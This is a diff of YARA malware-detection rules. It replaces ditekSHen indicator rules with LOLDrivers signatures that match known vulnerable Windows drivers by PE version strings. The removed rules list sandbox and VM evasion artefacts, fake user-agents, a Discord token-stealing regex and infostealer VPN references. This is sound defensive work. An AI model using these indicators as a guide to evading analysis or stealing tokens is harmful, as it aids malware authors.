+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]65e05fe752a0901f5668 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006e0065007400660069006c0074006500720032002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000a9002000770079006a00730071002e0063006f006d }
 
 	condition:
-		uint16(0)==0x5a4d and all of them
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-import "pe"
-import "time"
-
-rule DITEKSHEN_INDICATOR_SUSPICIOUS_CSPROJ : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Intelcorporation_Iqvwsys_Intelriqvwsys_1F81 : FILE
 {
 	meta:
-		description = "Detects suspicious .CSPROJ files then compiled with msbuild"
-		author = "ditekSHen"
-		id = "99f9fbd0-9435-511a-b9f5-7ea11e655b79"
-		date = "2024-06-08"
-		modified = "2024-06-08"
-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_suspicious.yar#L1556-L1568"
-		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "e41c82ab0da47192463f76192ea7748dfcf59193475871daf1a7a4ff2fda4d52"
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - iQVW64.SYS"
+		author = "Florian Roth"
+		id = "9610cbd7-8521-54ea-a4db-c6d26048fb4b"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L3219-L3238"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "1f8168036d636aad1680dd0f577ef9532dbb2dad3591d63e752b0ba3ee6fd501"
+		logic_hash = "e5b9e4c1559e91b575933d2dd5574a6c374fe967256f65243122c22efbc666ce"
 		score = 40
-		quality = 45
+		quality = 80
 		tags = "FILE"
-		importance = 20
 
 	strings:
-		$s1 = "ToolsVersion=" ascii
-		$s2 = "/developer/msbuild/" ascii
-		$x1 = "[DllImport(\"\\x" ascii
-		$x2 = "VirtualAlloc(" ascii nocase
-		$x3 = "CallWindowProc(" ascii nocase
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0049006e00740065006c0028005200290020004e006500740077006f0072006b0020004100640061007000740065007200200044006900610067006e006f00730074006900630020004400720069007600650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0049006e00740065006c00200043006f00720070006f0072006100740069006f006e0020 }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0033002e0032002e003100360020006200750069006c0074002000620079003a002000570069006e00440044004b }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0033002e0032002e00310036 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006900510056005700360034002e005300590053 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0049006e00740065006c0028005200290020006900510056005700360034002e005300590053 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006900510056005700360034002e005300590053 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000300032002d003200300031003800200049006e00740065006c00200043006f00720070006f0072006100740069006f006e00200041006c006c0020005200690067006800740073002000520065007300650072007600650064002e }
 
 	condition:
-		uint32(0)==0x6f72503c and ( all of ($s*) and 2 of ($x*))
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-import "pe"
-import "time"
-
-rule DITEKSHEN_INDICATOR_SUSPICIOUS_Sandbox_Evasion_Filescomb : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Iobit_Iobitunlockersys_Iobitunlocker_C79A : FILE
 {
 	meta:
-		description = "Detects executables referencing specific set of files observed in sandob anti-evation, and Emotet"
-		author = "ditekSHen"
-		id = "04108277-03ac-5479-ac9f-0c7377dc70b8"
-		date = "2024-06-08"
-		modified = "2024-06-08"
-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_suspicious.yar#L1694-L1711"
-		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "d9f235e212e75cef51e3321f49968c75523304dc94a2b7cf3965c9f88d039b43"
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - iobitunlocker.sys"
+		author = "Florian Roth"
+		id = "f81ad3f3-755f-546b-8246-2ee9dd885813"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L3241-L3260"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "c79a2bb050af6436b10b58ef04dbc7082df1513cec5934432004eb56fba05e66"
+		logic_hash = "b711978610592c579a05d332b72c294a5b960a18033264d6a75b8b482dbe8903"
 		score = 40
-		quality = 23
+		quality = 80
 		tags = "FILE"
-		importance = 20
 
 	strings:
-		$s1 = "c:\\take_screenshot.ps1" ascii wide nocase
-		$s2 = "c:\\loaddll.exe" ascii wide nocase
-		$s3 = "c:\\email.doc" ascii wide nocase
-		$s4 = "c:\\email.htm" ascii wide nocase
-		$s5 = "c:\\123\\email.doc" ascii wide nocase
-		$s6 = "c:\\123\\email.docx" ascii wide nocase
-		$s7 = "c:\\a\\foobar.bmp" ascii wide nocase
-		$s8 = "c:\\a\\foobar.doc" ascii wide nocase
-		$s9 = "c:\\a\\foobar.gif" ascii wide nocase
-		$s10 = "c:\\symbols\\aagmmc.pdb" ascii wide nocase
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0049004f0062006900740055006e006c006f0063006b006500720020004400720069007600650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0049004f006200690074 }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0032002e0030002e00310020006200750069006c0074002000620079003a002000570069006e00440044004b }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0032002e0030002e0031 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0049004f0062006900740055006e006c006f0063006b00650072002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0049004f0062006900740055006e006c006f0063006b00650072 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0049004f0062006900740055006e006c006f0063006b00650072002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0049004f00620069007400200043006f0070007900720069006700680074002000a900200032003000300035002d0032003000310033 }
 
 	condition:
-		uint16(0)==0x5a4d and 6 of them
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-import "pe"
-import "time"
-
-rule DITEKSHEN_INDICATOR_SUSPICIOUS_VM_Evasion_Virtdrvcomb : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Elaboratebytesag_Elbycdio_Cdrtools_16B5 : FILE
 {
 	meta:
-		description = "Detects executables referencing combination of virtualization drivers"
-		author = "ditekSHen"
-		id = "88f271d5-07a3-5ca6-9536-4f68bccf49bc"
-		date = "2024-06-08"
-		modified = "2024-06-08"
-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_suspicious.yar#L1713-L1757"
-		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "a7bbd05e17b8a111b841ed2a86b4794cde8972a673acf331d800029e54d8f602"
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - elbycdio.sys"
+		author = "Florian Roth"
+		id = "82c31b8b-46ae-5202-9ea5-d243063f8522"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L3263-L3282"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "16b591cf5dc1e7282fdb25e45497fe3efc8095cbe31c05f6d97c5221a9a547e1"
+		logic_hash = "57f379da59234cd2e83802180faecd15784a28fcd09f2eb0a5944f494972c9fc"
 		score = 40
-		quality = 43
+		quality = 80
 		tags = "FILE"
-		importance = 20
 
 	strings:
-		$p1 = "prleth.sys" ascii wide
-		$p2 = "prlfs.sys" ascii wide
-		$p3 = "prlmouse.sys" ascii wide
-		$p4 = "prlvideo.sys	" ascii wide
-		$p5 = "prltime.sys" ascii wide
-		$p6 = "prl_pv32.sys" ascii wide
-		$p7 = "prl_paravirt_32.sys" ascii wide
-		$vb1 = "VBoxMouse.sys" ascii wide
-		$vb2 = "VBoxGuest.sys" ascii wide
-		$vb3 = "VBoxSF.sys" ascii wide
-		$vb4 = "VBoxVideo.sys" ascii wide
-		$vb5 = "vboxdisp.dll" ascii wide
-		$vb6 = "vboxhook.dll" ascii wide
-		$vb7 = "vboxmrxnp.dll" ascii wide
-		$vb8 = "vboxogl.dll" ascii wide
-		$vb9 = "vboxoglarrayspu.dll" ascii wide
-		$vb10 = "vboxoglcrutil.dll" ascii wide
-		$vb11 = "vboxoglerrorspu.dll" ascii wide
-		$vb12 = "vboxoglfeedbackspu.dll" ascii wide
-		$vb13 = "vboxoglpackspu.dll" ascii wide
-		$vb14 = "vboxoglpassthroughspu.dll" ascii wide
-		$vb15 = "vboxservice.exe" ascii wide
-		$vb16 = "vboxtray.exe" ascii wide
-		$vb17 = "VBoxControl.exe" ascii wide
-		$vp1 = "vmsrvc.sys" ascii wide
-		$vp2 = "vpc-s3.sys" ascii wide
-		$vw1 = "vmmouse.sys" ascii wide
-		$vw2 = "vmnet.sys" ascii wide
-		$vw3 = "vmxnet.sys" ascii wide
-		$vw4 = "vmhgfs.sys" ascii wide
-		$vw5 = "vmx86.sys" ascii wide
-		$vw6 = "hgfs.sys" ascii wide
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0045006c0062007900430044002000570069006e0064006f007700730020004e0054002f0032003000300030002f0058005000200049002f004f0020006400720069007600650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0045006c00610062006f0072006100740065002000420079007400650073002000410047 }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0036002c00200030002c00200031002c00200033 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0036002c00200030002c00200030002c00200030 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0045006c00620079004300440049004f }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0043004400520054006f006f006c0073 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0045006c00620079004300440049004f002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800430029002000320030003000300020002d0020003200300030003800200045006c00610062006f0072006100740065002000420079007400650073002000410047 }
 
 	condition:
-		uint16(0)==0x5a4d and ((2 of ($p*) and (2 of ($vb*) or 2 of ($vp*) or 2 of ($vw*))) or (2 of ($vb*) and (2 of ($p*) or 2 of ($vp*) or 2 of ($vw*))) or (2 of ($vp*) and (2 of ($p*) or 2 of ($vb*) or 2 of ($vw*))) or (2 of ($vw*) and (2 of ($p*) or 2 of ($vb*) or 2 of ($vp*))))
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-import "pe"
-import "time"
-
-rule DITEKSHEN_INDICATOR_SUSPICIOUS_EXE_Nonewindowsua : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Phoenixtechnologies_Agentsys_Driveragent_4045 : FILE
 {
 	meta:
-		description = "Detects Windows executables referencing non-Windows User-Agents"
-		author = "ditekSHen"
-		id = "3bf62a67-4c21-5bcc-a356-424e798141f1"
-		date = "2024-06-08"
-		modified = "2024-06-08"
-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_suspicious.yar#L1759-L1784"
-		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "fb65643fd93ce4dbec0f98259b3dacda748a3f62f71258726073fdb3e354ab42"
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - Agent64.sys"
+		author = "Florian Roth"
+		id = "41ccdc0b-ec41-51b3-9039-bf5206f9a79f"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L3285-L3309"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "4045ae77859b1dbf13972451972eaaf6f3c97bea423e9e78f1c2f14330cd47ca"
+		hash = "8cb62c5d41148de416014f80bd1fd033fd4d2bd504cb05b90eeb6992a382d58f"
+		hash = "6948480954137987a0be626c24cf594390960242cd75f094cd6aaa5c2e7a54fa"
+		hash = "b1d96233235a62dbb21b8dbe2d1ae333199669f67664b107bff1ad49b41d9414"
+		hash = "05f052c64d192cf69a462a5ec16dda0d43ca5d0245900c9fcb9201685a2e7748"
+		hash = "4db1e0fdc9e6cefeb1d588668ea6161a977c372d841e7b87098cf90aa679abfb"
+		logic_hash = "1902f186f263eaeaf3de6712a8fe2c01f2225f7ba051f4020de27832e197e256"
 		score = 40
-		quality = 45
+		quality = 80
 		tags = "FILE"
-		importance = 20
 
 	strings:
-		$ua1 = "Mozilla/5.0 (Macintosh; Intel Mac OS" wide ascii
-		$ua2 = "Mozilla/5.0 (iPhone; CPU iPhone OS" ascii wide
-		$ua3 = "Mozilla/5.0 (Linux; Android " ascii wide
-		$ua4 = "Mozilla/5.0 (PlayStation " ascii wide
-		$ua5 = "Mozilla/5.0 (X11; " wide ascii
-		$ua6 = "Mozilla/5.0 (Windows Phone " ascii wide
-		$ua7 = "Mozilla/5.0 (compatible; MSIE 10.0; Macintosh; Intel Mac OS X 10_7_3; Trident/6.0)" wide ascii
-		$ua8 = "Mozilla/5.0 (compatible; MSIE 9.0; Windows Phone OS 7.5; Trident/5.0; IEMobile/9.0)" wide ascii
-		$ua9 = "HTC_Touch_3G Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 7.11)" wide ascii
-		$ua10 = "Mozilla/4.0 (compatible; MSIE 7.0; Windows Phone OS 7.0; Trident/3.1; IEMobile/7.0; Nokia;N70)" wide ascii
-		$ua11 = "Mozilla/5.0 (BlackBerry; U; BlackBerry " wide ascii
-		$ua12 = "Mozilla/5.0 (iPad; CPU OS" wide ascii
-		$ua13 = "Mozilla/5.0 (iPad; U;" ascii wide
-		$ua14 = "Mozilla/5.0 (IE 11.0;" ascii wide
-		$ua15 = "Mozilla/5.0 (Android;" ascii wide
-		$ua16 = "User-Agent: Internal Wordpress RPC connection" ascii wide
-		$ua17 = "Mozilla / 5.0 (SymbianOS" ascii wide
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004400720069007600650072004100670065006e0074002000440069007200650063007400200049002f004f00200066006f0072002000360034002d006200690074002000570069006e0064006f00770073 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00500068006f0065006e0069007800200054006500630068006e006f006c006f0067006900650073 }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0036002e0030 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0036002e0030 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]004100670065006e007400360034002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004400720069007600650072004100670065006e0074 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]004100670065006e007400360034002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0045006e0054006500630068002000540061006900770061006e002c00200031003900390037002d0032003000300039 }
 
 	condition:
-		uint16(0)==0x5a4d and 1 of them
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-import "pe"
-import "time"
-
-rule DITEKSHEN_INDICATOR_SUSPICIOUS_EXE_Toomanywindowsua : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Ludashicom_Computerzsys_FA77 : FILE
 {
 	meta:
-		description = "Detects executables referencing many varying, potentially fake Windows User-Agents"
-		author = "ditekSHen"
-		id = "28dba61e-b2da-5708-b82f-a139d0929a7d"
-		date = "2024-06-08"
-		modified = "2024-06-08"
-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_suspicious.yar#L1786-L1810"
-		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "a79ea9b8471148176c210fe834e7b2f0549291956489e2853235a75ea3e4e1db"
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - ComputerZ.Sys"
+		author = "Florian Roth"
+		id = "b092767e-5f04-59f9-b653-c4ab28860de0"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L3312-L3332"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "fa77a472e95c4d0a2271e5d7253a85af25c07719df26941b39082cfc0733071a"
+		hash = "423f052690b6b523502931151dfcc63530e3bd9d79680f9b5ac033b23b5c6f18"
+		logic_hash = "e59a975ce22fb83623ae84000e07bcc0f2060b7e16cfc3e2b538138246ef296a"
 		score = 40
-		quality = 45
+		quality = 80
 		tags = "FILE"
-		importance = 20
 
 	strings:
-		$ua1 = "Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36" ascii wide
-		$ua2 = "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36" ascii wide
-		$ua3 = "Mozilla/5.0 (Windows NT 5.1; rv:31.0) Gecko/20100101 Firefox/31.0" ascii wide
-		$ua4 = "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20120101 Firefox/29.0" ascii wide
-		$ua5 = "Mozilla/5.0 (Windows NT 6.1; rv:27.3) Gecko/20130101 Firefox/27.3" ascii wide
-		$ua6 = "Mozilla/5.0 (Windows; U; MSIE 9.0; WIndows NT 9.0; en-US)" ascii wide
-		$ua7 = "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)" ascii wide
-		$ua8 = "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/4.0; InfoPath.2; SV1; .NET CLR 2.0.50727; WOW64)" ascii wide
-		$ua9 = "Opera/12.0(Windows NT 5.2;U;en)Presto/22.9.168 Version/12.00" ascii wide
-		$ua10 = "Opera/9.80 (Windows NT 6.0) Presto/2.12.388 Version/12.14" ascii wide
-		$ua11 = "Mozilla/5.0 (Windows NT 6.0; rv:2.0) Gecko/20100101 Firefox/4.0 Opera 12.14" ascii wide
-		$ua12 = "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0) Opera 12.14" ascii wide
-		$ua13 = "Opera/12.80 (Windows NT 5.1; U; en) Presto/2.10.289 Version/12.02" ascii wide
-		$ua14 = "Opera/9.80 (Windows NT 6.1; U; es-ES) Presto/2.9.181 Version/12.00" ascii wide
-		$ua15 = "Opera/9.80 (Windows NT 5.1; U; zh-sg) Presto/2.9.181 Version/12.00" ascii wide
-		$ua16 = "Mozilla/5.0 (Windows NT 6.2) AppleWebKit/535.7 (KHTML, like Gecko) Comodo_Dragon/16.1.1.0 Chrome/16.0.912.63 Safari/535.7" ascii wide
-		$ua17 = "Mozilla/5.0 (Windows; U; Windows NT 6.1; tr-TR) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27" ascii wide
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004c007500640061007300680069002000530079007300740065006d0020004400720069007600650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]006c007500640061007300680069002e0063006f006d }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0036002e00310036002e0031003000300035 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0036002e00310036002e0031003000300035 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0043006f006d00700075007400650072005a002e005300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]9c8159275e08 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0043006f006d00700075007400650072005a002e005300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]7248674362406709002000280043002900200032003000310030002d00320030003100360020007700770077002e006c007500640061007300680069002e0063006f006d }
 
 	condition:
-		uint16(0)==0x5a4d and 5 of them
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-import "pe"
-import "time"
-
-rule DITEKSHEN_INDICATOR_SUSPICIOUS_VM_Evasion_Macaddrcomb : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Tgsoftsas_Viragtsys_Viritagentsystem_D0E2 : FILE
 {
 	meta:
-		description = "Detects executables referencing virtualization MAC addresses"
-		author = "ditekSHen"
-		id = "7e399d31-090a-57f7-89fa-0a2c4e563283"
-		date = "2024-06-08"
-		modified = "2024-06-08"
-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_suspicious.yar#L1812-L1827"
-		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "53a87bffc327c38545d9f213834726af9a1fbe86f273e189dc355567e6a671bf"
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - viragt64.sys"
+		author = "Florian Roth"
+		id = "1ee0136e-73bc-5b88-ae0b-74f3f53fe93f"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L3335-L3354"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "d0e25b879d830e4f867b09d6540a664b6f88bad353cd14494c33b31a8091f605"
+		logic_hash = "c265c6c89ea9bf09b9dcf47e1ce60f3531d76521a0ef1bbdc07d401a7b4164ed"
 		score = 40
-		quality = 29
+		quality = 80
 		tags = "FILE"
-		importance = 20
 
 	strings:
-		$s1 = "00:03:FF" ascii wide nocase
-		$s2 = "00:05:69" ascii wide nocase
-		$s3 = "00:0C:29" ascii wide nocase
-		$s4 = "00:16:3E" ascii wide nocase
-		$s5 = "00:1C:14" ascii wide nocase
-		$s6 = "00:1C:42" ascii wide nocase
-		$s7 = "00:50:56" ascii wide nocase
-		$s8 = "08:00:27" ascii wide nocase
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005600690072004900540020004100670065006e0074002000530079007300740065006d }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0054004700200053006f0066007400200053002e0061002e0073002e }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002c002000360030002c00200030002c00200030 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002c002000360030002c00200030002c00200030 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]007600690072006100670074002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005600690072004900540020004100670065006e0074002000530079007300740065006d }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]007600690072006100670074002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200054004700200053006f0066007400200053002e0061002e0073002e00200032003000300036002c002000320030003100310020002d0020007700770077002e007400670073006f00660074002e00690074 }
 
 	condition:
-		uint16(0)==0x5a4d and 3 of them
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-import "pe"
-import "time"
-
-rule DITEKSHEN_INDICATOR_SUSPICIOUS_EXE_Discord_Regex : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Openlibsysorg_Openlibsyssys_Openlibsys_F060 : FILE
 {
 	meta:
-		description = "Detects executables referencing Discord tokens regular expressions"
-		author = "ditekSHen"
-		id = "4c508cae-bb25-549b-8f35-a6a22928a9a3"
-		date = "2024-06-08"
-		modified = "2024-06-08"
-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_suspicious.yar#L1890-L1898"
-		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "b6be1dd8e25311442a59ee2afbd99f6e9663dd06919c07269b76238af0bbd5f2"
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - OpenLibSys.sys"
+		author = "Florian Roth"
+		id = "b6ebdc92-1ca5-5f13-beef-d6adf037e732"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L3357-L3376"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "f0605dda1def240dc7e14efa73927d6c6d89988c01ea8647b671667b2b167008"
+		logic_hash = "c73f19c87d63e9986e5f44a368f4b8305b7bff17ebdeb85f309751f54f76db48"
 		score = 40
-		quality = 43
+		quality = 80
 		tags = "FILE"
-		importance = 20
 
 	strings:
-		$s1 = "[a-zA-Z0-9]{24}\\.[a-zA-Z0-9]{6}\\.[a-zA-Z0-9_\\-]{27}|mfa\\.[a-zA-Z0-9_\\-]{84}" ascii wide nocase
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004f00700065006e004c00690062005300790073 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004f00700065006e004c00690062005300790073002e006f00720067 }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0030002e0031002e0033 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0030002e0031002e0033 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]004f00700065006e004c00690062005300790073002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004f00700065006e004c00690062005300790073 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]004f00700065006e004c00690062005300790073002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800430029002000320030003000370020004f00700065006e004c00690062005300790073002e006f00720067 }
 
 	condition:
-		( uint16(0)==0x5a4d and all of them ) or all of them
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-import "pe"
-import "time"
-
-rule DITEKSHEN_INDICATOR_SUSPICIOUS_EXE_References_VPN : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Realixtm_Hwinfosys_Hwinfokerneldriver_4AC0 : FILE
 {
 	meta:
-		description = "Detects executables referencing many VPN software clients. Observed in infosteslers"
-		author = "ditekSHen"
-		id = "301977a8-0619-50a2-a718-78ff9e039e65"
-		date = "2024-06-08"
-		modified = "2024-06-08"
-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_suspicious.yar#L1900-L1914"
-		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "5bef727d3c6fa7ea01c16e7b1fdf146b4cef58c06189bf8540bbfe7915790578"
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - HWiNFO32.SYS"
+		author = "Florian Roth"
+		id = "8839157b-8e6c-5929-8041-443ecccbb688"
+		date = "2024-08-07"
